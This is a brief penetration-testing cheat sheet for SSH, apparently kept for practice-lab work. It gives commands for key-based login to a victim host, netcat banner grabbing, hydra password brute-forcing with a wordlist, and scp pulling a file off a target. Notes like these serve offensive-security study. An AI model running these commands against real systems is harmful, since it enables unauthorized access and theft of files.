SSH - Port 22

Common usage

ssh -i id_rsa user@victimip

Banner Grabbing

nc -v 10.0.0.5 22
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.1.50:22.
SSH-2.0-OpenSSH_7.4h

Brute Forcing

hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://192.168.84.230

Notes

Found that if another user has a authorized key set up for another user to access their account usually it can be seen in /.ssh/authorized_keys.
See : https://app.gitbook.com/o/8zAiFgRK6zzhAH9lWN2l/s/fAZp7FYUSvzvoIbLjdkX/~/changes/qTfVkJNHOcRKkez1u9dm/boxes-write-ups/proving-grounds/proving-grounds-practice/moneybox

Enable SSH Server

sudo service ssh start # Enable incoming SSH connections

File Transfers

systemctl start ssh.socket 

scp [email protected]:C:/ftp/Infrastructure.pdf . 

systemctl stop ssh.socket